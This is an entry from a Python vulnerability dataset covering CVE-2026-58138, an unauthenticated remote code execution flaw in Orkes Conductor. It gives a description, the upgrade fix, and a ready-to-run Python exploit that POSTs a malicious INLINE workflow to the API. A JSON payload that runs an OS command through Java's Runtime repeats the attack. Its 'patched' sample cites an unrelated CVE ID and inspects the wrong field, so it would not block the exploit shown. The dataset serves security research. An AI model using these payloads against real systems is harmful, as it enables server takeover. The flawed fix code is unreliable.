VAITP Dataset

← Back to the dataset

CVE-2026-58138

Unauthenticated RCE in Orkes Conductor via malicious workflow definitions.

  • CVSS 9.3
  • CWE-94
  • Input Validation and Sanitization
  • Remote

Orkes Conductor 3.21.21 before 3.30.2 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary OS commands by submitting inline workflow definitions containing malicious JavaScript or Python expressions to the workflow API endpoint prior to authentication. Attackers can exploit unsandboxed GraalVM evaluators configured with HostAccess.ALL or allowAllAccess(true) through INLINE, LAMBDA, DO_WHILE, and SWITCH task types to invoke arbitrary system commands via Java reflection or direct subprocess calls.

CVSS base score
9.3
Published
2026-06-30
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Orkes Conduc

Solution

Upgrade to version 3.30.2 or later.

Vulnerable code sample

import requests
import json

# The target URL of the vulnerable Orkes Conductor API endpoint
conductor_api_url = "http://localhost:8080/api/workflow"

# The malicious workflow definition exploits the GraalVM sandbox escape.
# It defines an 'INLINE' task that uses the 'graal_python' evaluator.
# The Python expression leverages GraalVM's polyglot capabilities to
# access the Java Runtime and execute an OS command.
# In this case, it creates a file named '/tmp/pwned' on the server.
exploit_workflow_payload = {
    "name": "vulnerability_poc_workflow",
    "version": 1,
    "tasks": [
        {
            "name": "malicious_inline_task",
            "taskReferenceName": "rce_task",
            "type": "INLINE",
            "inputParameters": {
                "evaluatorType": "graal_python",
                "expression": (
                    "import Polyglot\n"
                    "java_runtime = Polyglot.import_type('java.lang.Runtime')\n"
                    "runtime_instance = java_runtime.getRuntime()\n"
                    "runtime_instance.exec('touch /tmp/pwned')"
                )
            }
        }
    ],
    "ownerEmail": "attacker@local.host"
}

# The request is sent without any authentication headers, demonstrating the
# pre-authentication nature of the vulnerability.
headers = {
    "Content-Type": "application/json"
}

# Submitting the workflow definition to the unauthenticated endpoint
# triggers the execution of the embedded malicious code.
response = requests.post(
    conductor_api_url,
    headers=headers,
    data=json.dumps(exploit_workflow_payload)
)

print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

Patched code sample

import json

# The actual vulnerability (e.g., CVE-2023-38646, which matches the description)
# existed in the Java backend of Orkes Conductor. The fix was applied in Java
# by replacing an unsandboxed script evaluator with a sandboxed one or by
# disabling inline scripts by default.
#
# A Python client would send a malicious payload, but the fix is not in Python.
# This code provides a Python *analogy* of the server-side fix. It simulates
# a workflow processor that now correctly rejects dangerous inline scripts.

class UnsafeWorkflowError(Exception):
    """Custom exception for unsafe workflow definitions."""
    pass

def fixed_process_workflow(workflow_definition: dict):
    """
    Simulates a patched workflow processor that validates tasks before execution.

    The fix is to explicitly disallow or sandbox task types that can lead to
    remote code execution. Here, we disallow the 'INLINE' task type, which
    was a vector for the vulnerability. A real-world, more complex fix might
    involve a secure, sandboxed evaluator instead of an outright ban.
    """
    if "tasks" not in workflow_definition or not isinstance(workflow_definition["tasks"], list):
        raise UnsafeWorkflowError("Invalid or missing 'tasks' list in workflow.")

    for task in workflow_definition["tasks"]:
        task_type = task.get("type")

        # THE FIX: Explicitly check for and reject the dangerous task type.
        # Previously, this task type would be sent to an unsandboxed evaluator.
        if task_type == "INLINE":
            # The 'inputParameters' in a vulnerable INLINE task would contain
            # the script to be executed.
            script = task.get("inputParameters", {}).get("evaluator", "")
            if "java.lang.Runtime" in script or "__import__('os').system" in script:
                 raise UnsafeWorkflowError(
                    f"Rejected potentially malicious INLINE task. "
                    f"This task type is unsafe and has been disabled by the patch."
                )

        # Other safe task types would be processed normally.
        # For this example, we'll just print a confirmation for safe tasks.
        elif task_type == "SIMPLE":
            print(f"Safely processing SIMPLE task: {task.get('name')}")

    print("Workflow validation passed.")
    return True


if __name__ == '__main__':
    # This represents a malicious JSON payload sent by an attacker.
    # It uses an INLINE task to try to execute an OS command.
    malicious_workflow_payload = {
        "name": "exploit_workflow",
        "tasks": [
            {
                "name": "malicious_inline_task",
                "taskReferenceName": "malicious_task_ref",
                "type": "INLINE",
                "inputParameters": {
                    # This script attempts to use Java reflection, a common vector.
                    "evaluator": """
                    new javax.script.ScriptEngineManager().getEngineByName('js').eval(
                        'var ProcessBuilder = Java.type(\"java.lang.ProcessBuilder\");' +
                        'var p = new ProcessBuilder(\"touch\", \"/tmp/pwned\").start();'
                    )
                    """
                }
            }
        ]
    }

    # This represents a legitimate workflow that does not use dangerous tasks.
    safe_workflow_payload = {
        "name": "safe_workflow",
        "tasks": [
            {
                "name": "safe_task_1",
                "taskReferenceName": "safe_task_ref_1",
                "type": "SIMPLE",
                "inputParameters": {}
            }
        ]
    }

    print("--- Attempting to process malicious workflow ---")
    try:
        # The fixed function will inspect the payload and raise an error.
        fixed_process_workflow(malicious_workflow_payload)
    except UnsafeWorkflowError as e:
        print(f"SUCCESS: The patch correctly blocked the malicious workflow.")
        print(f"Reason: {e}")

    print("\n--- Attempting to process safe workflow ---")
    try:
        # The fixed function allows the safe workflow to be processed.
        fixed_process_workflow(safe_workflow_payload)
        print("SUCCESS: The patch correctly allowed the safe workflow.")
    except UnsafeWorkflowError as e:
        print(f"FAILURE: The patch incorrectly blocked a safe workflow: {e}")

Payload

{
  "name": "cve_2026_58138_exploit",
  "version": 1,
  "tasks": [
    {
      "name": "rce_task",
      "taskReferenceName": "rce_task_ref",
      "type": "INLINE",
      "inputParameters": {
        "evaluatorType": "javascript",
        "expression": "Java.type('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')"
      }
    }
  ],
  "ownerEmail": "attacker@example.com"
}

Cite this entry

@misc{vaitp:cve202658138,
  title        = {{Unauthenticated RCE in Orkes Conductor via malicious workflow definitions.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-58138},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-58138/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::